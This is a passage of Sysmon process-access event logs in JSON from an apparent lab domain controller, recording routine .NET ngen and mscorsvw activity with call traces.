12:01:49.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010FCF10B00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001047F60B00}\r\nTargetProcessId: 3152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001047F60B00}","TargetProcessId":"3152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001047F60B00}\r\nTargetProcessId: 3152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001047F60B00}","TargetProcessId":"3152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.010\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001047F60B00}\r\nTargetProcessId: 3152\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.010","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001047F60B00}","TargetProcessId":"3152","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010CEF90B00}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010CEF90B00}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010CEF90B00}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010CEF90B00}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010CEF90B00}\r\nTargetProcessId: 5032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010CEF90B00}","TargetProcessId":"5032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.198\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010ECFD0B00}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.198","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010ECFD0B00}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+